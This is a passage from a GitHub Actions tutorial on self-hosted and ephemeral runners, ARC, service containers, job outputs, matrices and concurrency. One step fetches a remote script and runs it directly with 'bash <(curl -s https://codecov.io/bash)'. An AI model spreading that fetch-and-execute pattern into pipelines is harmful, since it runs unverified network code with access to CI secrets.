Labels and groups serve different purposes: labels handle capability routing (what can this runner do?), while groups handle access control (who is allowed to use this runner?). You typically need both in any non-trivial organization.

Scaling with Ephemeral Runners

By default, a self-hosted runner is persistent — it picks up job after job, accumulating state (installed packages, cached files, leftover processes) across runs. This is a security risk and a source of flaky builds. Ephemeral runners solve this by automatically de-registering after completing a single job.

bash
# The --ephemeral flag makes the runner exit after one job
./config.sh \
  --url https://github.com/your-org \
  --token ABCDEF123456 \
  --ephemeral \
  --labels ephemeral,linux \
  --name "ephemeral-runner-$(hostname)-$$"

The catch: something needs to create and destroy these runners on demand. For VM-based setups, you can use a simple script or cloud autoscaling groups that spin up a fresh VM, register it as an ephemeral runner, and let it terminate after the job. But for Kubernetes-native environments, there's a purpose-built solution.

Actions Runner Controller (ARC) for Kubernetes

The Actions Runner Controller (ARC) is a Kubernetes operator maintained by GitHub that manages self-hosted runners as pods. It watches for queued workflow jobs and dynamically scales runner pods up and down based on demand. This is the recommended approach for organizations already running Kubernetes.

ARC uses two core custom resources: RunnerScaleSet defines the runner configuration (labels, image, resource limits), and the controller automatically creates pods to service incoming jobs. Install ARC using Helm:

bash
# Install the ARC controller
helm install arc \
  --namespace arc-systems --create-namespace \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set-controller

# Deploy a runner scale set
helm install arc-runner-set \
  --namespace arc-runners --create-namespace \
  -f values.yaml \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set

The values.yaml configures the scale set — including the GitHub organization or repository URL, authentication (via a GitHub App or PAT), and scaling boundaries:

yaml
githubConfigUrl: "https://github.com/your-org"
githubConfigSecret: arc-github-secret
minRunners: 1
maxRunners: 20
runnerScaleSetName: "arc-runner-set"
containerMode:
  type: "dind"  # Docker-in-Docker for container actions
template:
  spec:
    containers:
      - name: runner
        image: ghcr.io/actions/actions-runner:latest
        resources:
          limits:
            cpu: "2"
            memory: "4Gi"

With this configuration, ARC maintains at least 1 idle runner and scales up to 20 when the job queue grows. Each runner pod is ephemeral by default — it processes one job and is replaced with a fresh pod.

Tip

Use a GitHub App for ARC authentication instead of a Personal Access Token. GitHub Apps have finer-grained permissions, higher API rate limits, and don't tie runner access to an individual user account. Create one under Organization Settings → Developer settings → GitHub Apps.

Targeting ARC Runners in Workflows

ARC runners are targeted by the runnerScaleSetName you defined in your Helm values. Use that name directly in runs-on:

yaml
jobs:
  build:
    runs-on: arc-runner-set
    steps:
      - uses: actions/checkout@v4
      - run: echo "Running on a Kubernetes-managed ephemeral runner"
      - run: docker build -t myapp:latest .
Warning

Self-hosted runners need regular maintenance. Keep the runner application updated (GitHub auto-updates it within a few days, but verify this is working), patch the underlying OS, and rotate registration tokens. A stale runner is both a reliability and security liability.

Running Jobs in Containers and Using Service Containers

GitHub Actions runners come preloaded with common tools, but sometimes you need exact control over the environment your job runs in. The container key lets you run an entire job inside a Docker container, while services spins up sidecar containers — databases, caches, or any dependency your code needs during CI.

Together, these two features let you replicate a production-like stack right inside your workflow, without installing anything on the runner itself.

graph LR
    subgraph Runner["GitHub Actions Runner (Ubuntu)"]
        subgraph DockerNetwork["Docker Network"]
            JC["Job Container
node:20-alpine
Your steps run here"] PG["postgres
postgres:16
Port 5432"] RD["redis
redis:7-alpine
Port 6379"] end end JC -- "hostname: postgres
port: 5432" --> PG JC -- "hostname: redis
port: 6379" --> RD

Running a Job Inside a Container

The container key tells GitHub Actions to pull a Docker image and execute every step of the job inside it. This is invaluable when you need a specific OS, tool version, or system library that doesn't ship on the default runner. Instead of spending workflow minutes installing dependencies, you start with an image that already has everything.

At its simplest, you just specify an image name:

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    container: node:20-alpine

    steps:
      - uses: actions/checkout@v4
      - run: node --version   # v20.x from the container
      - run: npm ci && npm test

When you need more control — private registries, environment variables, volume mounts — use the expanded object syntax with all available options:

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    container:
      image: ghcr.io/my-org/build-image:3.2
      credentials:
        username: ${{ github.actor }}
        password: ${{ secrets.GHCR_TOKEN }}
      env:
        NODE_ENV: test
        TZ: UTC
      ports:
        - 8080:8080
      volumes:
        - /tmp/cache:/app/cache
      options: --cpus 2 --memory 4g

    steps:
      - uses: actions/checkout@v4
      - run: make build

Container Key Reference

PropertyPurposeExample
imageDocker image to pull and runnode:20-alpine
credentialsAuth for private registries (username + password)GitHub Packages, Docker Hub, ECR
envEnvironment variables set inside the containerNODE_ENV: test
portsPorts to map from container to host8080:8080
volumesBind mounts from host into the container/tmp/data:/data
optionsExtra docker create flags--cpus 2 --memory 4g
Note

The container key only works on Linux (ubuntu-*) runners. Windows and macOS runners do not support job containers because they don't run the Docker daemon in the way Actions expects.

Service Containers: Sidecar Dependencies

Most real-world test suites need more than just your application code. Integration tests hit databases, caches, and message queues. The services key lets you spin up these dependencies as Docker containers that live alongside your job and are automatically torn down when the job completes.

Each service is defined by a key name that becomes the container's hostname on the Docker network. If your job also runs inside a container (via the container key), you connect to services by that hostname and their default port — no localhost, no port mapping gymnastics.

yaml
services:
  postgres:
    image: postgres:16
    env:
      POSTGRES_USER: runner
      POSTGRES_PASSWORD: secret
      POSTGRES_DB: testdb
    ports:
      - 5432:5432
    options: >-
      --health-cmd "pg_isready -U runner"
      --health-interval 10s
      --health-timeout 5s
      --health-retries 5

  redis:
    image: redis:7-alpine
    ports:
      - 6379:6379
    options: >-
      --health-cmd "redis-cli ping"
      --health-interval 10s
      --health-timeout 5s
      --health-retries 5

Networking: Container Job vs. Runner Job

How you connect to service containers depends on whether your job itself runs in a container. This distinction trips up many people, so here's the rule:

Job runs in…Connect to services viaPort mapping needed?
A container (container: set)Service key as hostname (e.g., postgres:5432)No — containers share a Docker network
The runner directly (no container:)localhost with mapped ports (e.g., localhost:5432)Yes — you must map ports
Warning

If your job runs on the runner (no container key) and you forget to map ports with ports:, your steps won't be able to reach the service containers. Always map ports when running directly on the runner.

Complete Example: Node.js Tests with PostgreSQL and Redis

This workflow runs integration tests in a Node container with both a PostgreSQL database and a Redis cache as service containers. The job container connects to each service by hostname, and health checks ensure the databases are ready before any test step runs.

yaml
name: Integration Tests

on:
  push:
    branches: [main]
  pull_request:

jobs:
  integration-tests:
    runs-on: ubuntu-latest

    container:
      image: node:20-alpine

    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: testuser
          POSTGRES_PASSWORD: testpass
          POSTGRES_DB: myapp_test
        options: >-
          --health-cmd "pg_isready -U testuser"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

      redis:
        image: redis:7-alpine
        options: >-
          --health-cmd "redis-cli ping"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

    env:
      DATABASE_URL: postgresql://testuser:testpass@postgres:5432/myapp_test
      REDIS_URL: redis://redis:6379

    steps:
      - uses: actions/checkout@v4

      - name: Install dependencies
        run: npm ci

      - name: Run database migrations
        run: npx prisma migrate deploy

      - name: Run integration tests
        run: npm run test:integration

Key things to notice in this workflow:

  • DATABASE_URL uses postgres (the service key) as the hostname — not localhost.
  • REDIS_URL uses redis as the hostname for the same reason.
  • No ports mapping is needed because the job runs inside a container on the same Docker network.
  • Health check options ensure GitHub Actions waits until each service is ready before starting steps.

Example Without a Job Container (Running on the Runner)

When your steps run directly on the runner (no container key), you must map ports and connect via localhost. This approach is common when you need runner-installed tools like Docker CLI, specific SDKs, or browser testing frameworks.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    # No 'container' key -- steps run on the runner

    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: testuser
          POSTGRES_PASSWORD: testpass
          POSTGRES_DB: myapp_test
        ports:
          - 5432:5432          # Required! Maps container port to runner
        options: >-
          --health-cmd "pg_isready -U testuser"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

    env:
      DATABASE_URL: postgresql://testuser:testpass@localhost:5432/myapp_test

    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci && npm run test:integration

Notice the two differences from the container-based approach: ports is now required on the service, and the connection string uses localhost instead of the service key name.

Health Checks: Don't Skip Them

Service containers start asynchronously. Without health checks, your steps might begin before the database is ready to accept connections — leading to flaky "connection refused" failures. The options field passes flags directly to docker create, and the health check flags are the most important ones to set.

yaml
options: >-
  --health-cmd "pg_isready -U runner"
  --health-interval 10s
  --health-timeout 5s
  --health-retries 5
  --health-start-period 15s
FlagWhat it doesRecommended value
--health-cmdCommand to test if the service is readyService-specific (see below)
--health-intervalTime between health check attempts10s
--health-timeoutMax time for a single check to respond5s
--health-retriesNumber of failures before marking unhealthy5
--health-start-periodGrace period before checks begin counting10s–30s for slow starters

Common health check commands for popular services:

  • PostgreSQL: pg_isready -U <user>
  • MySQL: mysqladmin ping -h 127.0.0.1 -u root
  • Redis: redis-cli ping
  • MongoDB: mongosh --eval "db.adminCommand('ping')"
  • RabbitMQ: rabbitmq-diagnostics -q check_running
Tip

Use the YAML multi-line folding operator >- to keep long options strings readable. It joins the indented lines into a single string and strips the trailing newline.

Job Dependencies, Outputs, and Data Passing Between Jobs

By default, jobs in a GitHub Actions workflow run in parallel. That's great for speed, but most real CI/CD pipelines need ordering — you don't want to deploy before your tests pass. The needs keyword lets you declare explicit dependencies between jobs, creating a directed acyclic graph (DAG) that GitHub Actions executes in the correct order.

Beyond ordering, you'll often need to pass data from one job to another — a computed version string, a build artifact path, or a deployment URL. Job outputs combined with needs make this possible.

The needs Keyword — Sequential Chains

The simplest dependency is a linear chain: Job B waits for Job A, and Job C waits for Job B. You express this by adding needs to each downstream job, referencing the upstream job's ID.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Building the project..."

  test:
    needs: build          # waits for 'build' to finish
    runs-on: ubuntu-latest
    steps:
      - run: echo "Running tests..."

  deploy:
    needs: test           # waits for 'test' to finish
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying..."

This creates the chain build → test → deploy. Each job only starts after its dependency completes successfully.

Diamond Dependency Patterns

Real pipelines often fan out and then converge. A common pattern is: build first, then run tests and lint in parallel, and finally deploy only when both pass. You achieve this by passing an array to needs.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Compiling application..."

  test:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "Running unit tests..."

  lint:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "Running linter..."

  deploy:
    needs: [test, lint]   # waits for BOTH test and lint
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying to production..."

Here, test and lint both depend on build, so they run in parallel once the build finishes. The deploy job lists both as dependencies and will only start when both succeed. This is the "diamond" pattern.

graph TD
    A["🔨 build"] -->|"artifact_path, version"| B["🧪 test"]
    A -->|"artifact_path"| C["🔍 lint"]
    B -->|"test_result"| D["🚀 deploy"]
    C -->|"lint_passed"| D

    style A fill:#4a90d9,color:#fff,stroke:#3a7bc8
    style B fill:#6c5ce7,color:#fff,stroke:#5b4bd5
    style C fill:#6c5ce7,color:#fff,stroke:#5b4bd5
    style D fill:#00b894,color:#fff,stroke:#00a383
    

Failure Behavior — Skipped Jobs and Overrides

When a job in the needs chain fails, all downstream jobs are skipped by default. If build fails in the diamond above, then test, lint, and deploy are all skipped — they won't even attempt to run. This is usually what you want, but sometimes you need a cleanup or notification job to run regardless.

yaml
  notify:
    needs: [test, lint, deploy]
    if: always()            # runs even if dependencies fail or are skipped
    runs-on: ubuntu-latest
    steps:
      - run: echo "Workflow finished. Sending notification..."
ConditionWhen the job runs
if: always()Always — even if dependencies failed or were skipped
if: success()Only if all dependencies succeeded (this is the default)
if: failure()Only if at least one dependency failed
if: cancelled()Only if the workflow was cancelled
Warning

Using if: always() means the job runs even when the workflow is cancelled. If you only want to handle failures (but still respect cancellation), use if: !cancelled() instead — it runs on both success and failure but skips on cancellation.

Defining Job Outputs

Each job runs on a fresh runner, so variables from one job don't magically appear in another. To share data between jobs, you define job-level outputs — named values that downstream jobs can read via the needs context.

The mechanism has two parts: a step writes a value to $GITHUB_OUTPUT, and the job maps that step output to a job output. The downstream job then reads it via needs.<job_id>.outputs.<name>.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    # 1. Declare outputs at the job level
    outputs:
      version: ${{ steps.version_step.outputs.version }}
      artifact_path: ${{ steps.build_step.outputs.artifact_path }}
    steps:
      - uses: actions/checkout@v4

      # 2. Set output values from steps using $GITHUB_OUTPUT
      - name: Determine version
        id: version_step
        run: |
          VERSION="1.2.$(date +%s)"
          echo "version=$VERSION" >> "$GITHUB_OUTPUT"

      - name: Build project
        id: build_step
        run: |
          ARTIFACT="dist/app-${{ steps.version_step.outputs.version }}.tar.gz"
          echo "artifact_path=$ARTIFACT" >> "$GITHUB_OUTPUT"
How $GITHUB_OUTPUT works

The $GITHUB_OUTPUT environment variable points to a file on the runner. Writing key=value lines to it makes those key-value pairs available as step outputs. This replaced the deprecated ::set-output workflow command as of October 2022.

Consuming Outputs in Dependent Jobs

A downstream job accesses the outputs through the needs context. The syntax is needs.<job_id>.outputs.<output_name>. The job must list the producing job in its needs array — you can't access outputs from a job you don't depend on.

yaml
  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - name: Show received outputs
        run: |
          echo "Deploying version: ${{ needs.build.outputs.version }}"
          echo "Artifact location: ${{ needs.build.outputs.artifact_path }}"

Complete Example — Diamond Pattern with Data Passing

Here's a full workflow combining everything: a diamond dependency graph where the build job produces outputs consumed by the test, lint, and deploy jobs. Each parallel job also produces its own output that the final deploy job reads.

yaml
name: Build, Test, Lint & Deploy

on:
  push:
    branches: [main]

jobs:
  # ── Stage 1: Build ──────────────────────────────
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.meta.outputs.version }}
      sha_short: ${{ steps.meta.outputs.sha_short }}
    steps:
      - uses: actions/checkout@v4
      - name: Generate build metadata
        id: meta
        run: |
          echo "version=2.1.$(date +%Y%m%d%H%M)" >> "$GITHUB_OUTPUT"
          echo "sha_short=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
      - name: Build
        run: echo "Building version ${{ steps.meta.outputs.version }}..."

  # ── Stage 2a: Test (parallel) ───────────────────
  test:
    needs: build
    runs-on: ubuntu-latest
    outputs:
      test_result: ${{ steps.run_tests.outputs.result }}
    steps:
      - uses: actions/checkout@v4
      - name: Run test suite
        id: run_tests
        run: |
          echo "Testing version ${{ needs.build.outputs.version }}..."
          echo "result=passed" >> "$GITHUB_OUTPUT"

  # ── Stage 2b: Lint (parallel) ───────────────────
  lint:
    needs: build
    runs-on: ubuntu-latest
    outputs:
      lint_passed: ${{ steps.run_lint.outputs.clean }}
    steps:
      - uses: actions/checkout@v4
      - name: Run linter
        id: run_lint
        run: |
          echo "Linting at commit ${{ needs.build.outputs.sha_short }}..."
          echo "clean=true" >> "$GITHUB_OUTPUT"

  # ── Stage 3: Deploy (after both pass) ───────────
  deploy:
    needs: [build, test, lint]
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        run: |
          echo "=== Deployment Summary ==="
          echo "Version:      ${{ needs.build.outputs.version }}"
          echo "Commit:       ${{ needs.build.outputs.sha_short }}"
          echo "Tests:        ${{ needs.test.outputs.test_result }}"
          echo "Lint clean:   ${{ needs.lint.outputs.lint_passed }}"
          echo "Deploying to production..."

  # ── Always: Notify ──────────────────────────────
  notify:
    needs: [build, test, lint, deploy]
    if: always()
    runs-on: ubuntu-latest
    steps:
      - name: Send notification
        run: |
          echo "Build version: ${{ needs.build.outputs.version }}"
          echo "Build result:  ${{ needs.build.result }}"
          echo "Test result:   ${{ needs.test.result }}"
          echo "Lint result:   ${{ needs.lint.result }}"
          echo "Deploy result: ${{ needs.deploy.result }}"
Tip

Inside an if: always() job, you can inspect needs.<job>.result to check the outcome of each dependency. The value is one of success, failure, cancelled, or skipped — useful for conditional notification messages.

Output Limitations and Gotchas

String-only values

Job outputs are always strings. If you need to pass structured data like JSON, serialize it in the producing step and parse it in the consuming step. Use fromJSON() in expressions to deserialize.

yaml
# Producer: serialize JSON to an output
- name: Build matrix
  id: matrix
  run: |
    echo 'targets=["linux","macos","windows"]' >> "$GITHUB_OUTPUT"

# Consumer: deserialize with fromJSON()
strategy:
  matrix:
    os: ${{ fromJSON(needs.setup.outputs.targets) }}

Size limit

Each output has a 1 MB size limit. For larger data — compiled binaries, test reports, coverage files — use actions/upload-artifact and actions/download-artifact instead of outputs. Outputs are for small metadata like version strings, flags, and short file paths.

Matrix Strategies: Multi-Dimensional Testing

A single CI job that tests one configuration gives you a false sense of security. Your code might pass on Node.js 20 but break on 18, work on Ubuntu but fail on Windows. The strategy.matrix keyword lets you define multiple variable dimensions, and GitHub Actions automatically spawns a separate job for every combination — without you duplicating a single line of YAML.

A Simple One-Dimensional Matrix

The most common use case is testing across multiple runtime versions. Instead of writing three separate jobs, you define a matrix with a single variable and reference it in your steps.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [18, 20, 22]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci
      - run: npm test

This spawns three parallel jobs: one for Node 18, one for 20, and one for 22. Each job gets its own runner and reports status independently. The variable name node-version is arbitrary — you choose it. You access its current value with ${{ matrix.node-version }}.

Multi-Dimensional Matrices

The real power shows up when you add a second (or third) dimension. GitHub Actions computes the Cartesian product of all dimensions — every combination of every variable gets its own job. This is how you test across platforms, runtimes, and dependencies simultaneously.

yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        node-version: [18, 20, 22]
        database: [postgres, mysql]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci
      - run: npm test
        env:
          DB_ENGINE: ${{ matrix.database }}

This produces 3 × 3 × 2 = 18 jobs. Each job gets a unique combination: ubuntu-latest + Node 18 + postgres, windows-latest + Node 22 + mysql, and so on. Notice how matrix.os drives the runs-on value itself — the runner OS becomes a matrix dimension.

Matrix Limit

A single matrix can generate a maximum of 256 jobs per workflow run. If your Cartesian product exceeds this, the workflow will fail to start. Keep dimensions reasonable or use include/exclude to trim combinations.

Excluding Specific Combinations

Not every combination makes sense. Maybe you don't support MySQL on Windows, or Node 18 has a known issue on macOS. The exclude key removes specific intersections from the generated matrix without affecting the rest.

yaml
strategy:
  matrix:
    os: [ubuntu-latest, windows-latest, macos-latest]
    node-version: [18, 20, 22]
    exclude:
      - os: windows-latest
        node-version: 18
      - os: macos-latest
        node-version: 18

The original 3 × 3 = 9 combinations drop to 7 jobs. The two excluded pairs — Windows + Node 18 and macOS + Node 18 — are silently removed. You only need to specify enough keys to match the combinations you want to drop; unspecified keys act as wildcards within that exclude entry.

Including Extra Combinations

include is the inverse of exclude — it adds specific combinations to the matrix, optionally with extra variables that only apply to those entries. This is powerful for one-off configurations that don't fit neatly into a Cartesian grid.

yaml
strategy:
  matrix:
    os: [ubuntu-latest, windows-latest]
    node-version: [18, 20]
    include:
      # Add an experimental Node 22 job on Ubuntu only
      - os: ubuntu-latest
        node-version: 22
        experimental: true
      # Attach extra variables to an existing combination
      - os: windows-latest
        node-version: 20
        npm-cache: 'C:
pm-cache'

The first include entry adds a brand-new combination (Ubuntu + Node 22) with a bonus variable experimental. The second entry matches an existing combination (Windows + Node 20) and attaches the npm-cache variable to it. You can then use ${{ matrix.experimental }} or ${{ matrix.npm-cache }} in your steps — they'll be empty strings for jobs where they weren't set.

Using include as a Standalone List

When you use include without any dimension arrays, the matrix becomes a flat list of explicitly defined configurations. This is useful when your combinations don't follow any grid pattern.

yaml
strategy:
  matrix:
    include:
      - os: ubuntu-latest
        node-version: 22
        target: linux-x64
      - os: macos-latest
        node-version: 20
        target: darwin-arm64
      - os: windows-latest
        node-version: 20
        target: win-x64

This produces exactly 3 jobs — no Cartesian product, no surprises. Each entry is a completely independent configuration with its own set of variables.

Controlling Failure Behavior with fail-fast

By default, fail-fast is true. When any matrix job fails, GitHub Actions cancels all other in-progress jobs in that matrix. This saves CI minutes but can hide multiple independent failures.

yaml
strategy:
  fail-fast: false
  matrix:
    os: [ubuntu-latest, windows-latest, macos-latest]
    node-version: [18, 20, 22]

Setting fail-fast: false lets every job run to completion regardless of failures. This is the right choice when you want a full compatibility report — for example, understanding exactly which OS/version pairs are broken before you start fixing things.

SettingBehaviorBest For
fail-fast: true (default)Cancels remaining jobs on first failureFast feedback on PRs, saving CI minutes
fail-fast: falseAll jobs run to completionFull compatibility reports, release validation

Throttling Parallelism with max-parallel

An 18-job matrix all launching at once can overwhelm shared resources — a staging database, an API with rate limits, or your self-hosted runner pool. The max-parallel key caps how many matrix jobs run simultaneously.

yaml
strategy:
  max-parallel: 3
  fail-fast: false
  matrix:
    os: [ubuntu-latest, windows-latest, macos-latest]
    node-version: [18, 20, 22]

With max-parallel: 3, only three of the nine jobs run at a time. As one finishes, the next queued job starts. This is also useful for staying within GitHub's concurrency limits on free-tier accounts.

Accessing Matrix Values in Steps

Every matrix variable is available through the matrix context. You can use these values in run commands, with inputs, env variables, conditional expressions — anywhere that accepts expressions.

yaml
steps:
  - uses: actions/checkout@v4

  - name: Setup Node ${{ matrix.node-version }}
    uses: actions/setup-node@v4
    with:
      node-version: ${{ matrix.node-version }}

  - name: Run tests
    run: npm test
    env:
      CI_OS: ${{ matrix.os }}
      CI_NODE: ${{ matrix.node-version }}

  - name: Upload coverage
    if: matrix.os == 'ubuntu-latest' && matrix.node-version == 22
    uses: actions/upload-artifact@v4
    with:
      name: coverage-report
      path: coverage/

Notice the if conditional on the last step — it uses matrix values to run the coverage upload only on a single specific combination. This pattern is common: run the full test suite everywhere, but perform expensive post-processing on just one representative job.

Practical Example: Cross-Platform Build & Test

Here's a production-ready workflow that combines everything — multi-dimensional matrix, include for platform-specific details, exclusions, fail-fast control, and conditional steps.

yaml
name: Cross-Platform CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  build-and-test:
    name: Node ${{ matrix.node-version }} on ${{ matrix.os }}
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      max-parallel: 6
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        node-version: [18, 20, 22]
        exclude:
          - os: macos-latest
            node-version: 18
        include:
          - os: ubuntu-latest
            node-version: 22
            coverage: true
          - os: windows-latest
            node-version: 20
            shell-cmd: pwsh

    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js ${{ matrix.node-version }}
        uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Run linter
        run: npm run lint

      - name: Run tests
        run: npm test

      - name: Generate coverage
        if: matrix.coverage == true
        run: npm run test:coverage

      - name: Upload coverage artifact
        if: matrix.coverage == true
        uses: actions/upload-artifact@v4
        with:
          name: coverage-node-${{ matrix.node-version }}-${{ matrix.os }}
          path: coverage/
Name Your Matrix Jobs

Always set a descriptive name using matrix variables, like Node ${{ matrix.node-version }} on ${{ matrix.os }}. Without this, the GitHub Actions UI shows generic job names that make it hard to identify which combination failed.

Dynamic Matrix from a Previous Job

For advanced use cases, you can generate matrix values dynamically. A preparatory job computes the matrix as JSON, and the test job consumes it via fromJSON(). This lets you adjust the matrix based on changed files, feature flags, or external configuration.

yaml
jobs:
  prepare:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - id: set-matrix
        run: |
          echo 'matrix={"node-version":[18,20,22],"os":["ubuntu-latest","windows-latest"]}' \
            >> "$GITHUB_OUTPUT"

  test:
    needs: prepare
    runs-on: ${{ matrix.os }}
    strategy:
      matrix: ${{ fromJSON(needs.prepare.outputs.matrix) }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci && npm test

The prepare job outputs a JSON string defining the matrix dimensions. The test job parses that JSON with fromJSON() and uses it as its strategy matrix. You can replace the hardcoded echo with a script that reads from a config file, queries an API, or inspects the changed files in the PR.

Dynamic Matrix Pitfall

The JSON output from fromJSON() must be a valid matrix object. If the JSON is malformed or the output is empty, the workflow will fail with a cryptic error. Always validate your JSON in the prepare step with echo "$matrix" | jq . before setting the output.

Concurrency Control and Conditional Execution

As your CI/CD pipelines grow, you'll face two recurring problems: redundant workflow runs piling up and jobs that should only execute under specific conditions. GitHub Actions addresses both with the concurrency key and the if conditional. Together, they give you fine-grained control over when and how many workflow runs are active at once.

Concurrency Groups

A concurrency group is a string identifier that tells GitHub Actions: "only one run with this label should be active at a time." When a new run enters a group that already has an active run, it either queues (waiting for the first to finish) or cancels the in-progress run, depending on your configuration.

The group name is an arbitrary string, but it becomes powerful when you use expressions to make it dynamic. A common pattern scopes concurrency to a specific branch and workflow combination, so pushes to main don't interfere with pushes to feature/login.

yaml
# Workflow-level concurrency
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

on:
  push:
    branches: [main, develop]
  pull_request:

In this example, the group name resolves to something like CI-refs/heads/main. Every push to the same branch enters the same group. With cancel-in-progress: true, a new push automatically cancels any run that's already underway — no more wasted minutes on stale commits.

The cancel-in-progress Option

When cancel-in-progress is false (the default), a new run queues behind the active one. The pending run waits until the current run completes, then starts. When set to true, the active run is immediately cancelled and the new run takes its place.

Queue depth is one

GitHub Actions only queues one pending run per concurrency group. If a third run arrives while one is active and one is already pending, the pending run is cancelled and replaced by the newest one. This means rapid-fire pushes result in only the latest commit being tested.

How Concurrency Groups Behave

The following diagram illustrates what happens when a new workflow run enters a concurrency group that already has an active run, with cancel-in-progress: true.

stateDiagram-v2
    [*] --> NewRunArrives
    NewRunArrives --> CheckGroup: Evaluate group name
    CheckGroup --> StartRun: Group is idle
    CheckGroup --> CancelOldRun: Group has active run
(cancel-in-progress = true)
    CheckGroup --> QueueRun: Group has active run
(cancel-in-progress = false)
    CancelOldRun --> StartRun: Old run cancelled
    QueueRun --> WaitForCompletion: Pending (max 1 queued)
    WaitForCompletion --> StartRun: Active run finishes
    StartRun --> [*]: Run completes
    

Workflow-Level vs Job-Level Scoping

You can place the concurrency key at two levels: at the workflow level (top of the YAML file) or at the job level (inside a specific job). The scope determines what gets cancelled or queued.

Applies to the entire workflow run. If a new run enters the same group, the whole previous run (all its jobs) is cancelled or queued.

yaml
# Top of workflow file
concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false

jobs:
  build:
    runs-on: ubuntu-latest
    steps: # ...
  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps: # ...

Use workflow-level concurrency for deployments where you want sequential execution — ensuring only one deploy to production happens at a time.

Applies to a single job within the workflow. Other jobs in the same workflow run are unaffected. Different jobs can even belong to different concurrency groups.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    # Tests can run in parallel — no concurrency limit
    steps: # ...

  deploy:
    needs: test
    runs-on: ubuntu-latest
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    steps: # ...

This pattern lets tests run freely while serializing only the deploy job. It's ideal when builds are fast but deploys must not overlap.

Conditional Execution with if

The if key controls whether a job or step runs based on a boolean expression. It's evaluated before the job or step starts, and if the expression resolves to false, the job/step is skipped entirely — no runner minutes consumed.

One syntactic detail trips up many newcomers: if expressions have implicit ${{ }} wrapping. You can write the expression directly without the expression syntax. Both of these are equivalent:

yaml
# These two are equivalent:
if: github.ref == 'refs/heads/main'
if: ${{ github.ref == 'refs/heads/main' }}
Watch out with explicit ${{ }} in if

When you use explicit ${{ }} in an if, the expression is evaluated to a string first, then cast to boolean. This can cause unexpected results with string comparisons. The implicit form is safer for simple conditions; use ${{ }} only when you need to embed expressions inside a larger string or force type coercion.

Status Check Functions

GitHub Actions provides four built-in functions that check the result of previous steps or jobs. They're essential for building pipelines that respond to failures, handle cleanup, or gate deployments on success.

FunctionReturns true when…Default?
success()All previous steps have succeeded (no failures, no cancellations)Yes — applied implicitly if you omit if
failure()Any previous step failedNo
cancelled()The workflow was cancelled (e.g., by a user or concurrency cancellation)No
always()Always — the step runs regardless of success, failure, or cancellationNo

The critical thing to understand is that every job and step has an implicit if: success() unless you override it. This means that by default, once a step fails, all subsequent steps are skipped. You override this by using one of the other status functions.

yaml
steps:
  - name: Run tests
    id: tests
    run: npm test

  - name: Upload coverage (only on success)
    if: success()
    run: bash <(curl -s https://codecov.io/bash)

  - name: Notify on failure
    if: failure()
    run: |
      curl -X POST "$SLACK_WEBHOOK" \
        -d '{"text":"Tests failed on ${{ github.ref }}"}'

  - name: Cleanup temp files
    if: always()
    run: rm -rf ./tmp

Combining Conditions

Real-world workflows often need compound conditions. You combine expressions with && (and), || (or), and ! (not). You can also mix status check functions with context-based checks to build precise gates.

yaml
# Deploy only on main branch AND only if tests passed
deploy:
  needs: test
  if: success() && github.ref == 'refs/heads/main'
  runs-on: ubuntu-latest
  steps: # ...

# Run cleanup even on failure, but NOT on cancellation
- name: Post-test cleanup
  if: success() || failure()
  run: docker compose down

# Skip a step for pull requests from forks
- name: Push to registry
  if: github.event.pull_request.head.repo.full_name == github.repository
  run: docker push myapp:latest

Common Patterns

Here are battle-tested patterns you'll reach for repeatedly when wiring up conditional logic in your workflows.

PatternExpressionUse Case
Run only on maingithub.ref == 'refs/heads/main'Deploy steps, release publishing
Skip for Dependabotgithub.actor != 'dependabot[bot]'Avoid running expensive jobs on dependency bumps
Run on tag pushstartsWith(github.ref, 'refs/tags/')Trigger releases from version tags
Conditional on labelcontains(github.event.pull_request.labels.*.name, 'deploy')Gate preview deploys behind a PR label
Always cleanupalways()Tear down infrastructure, close DB connections
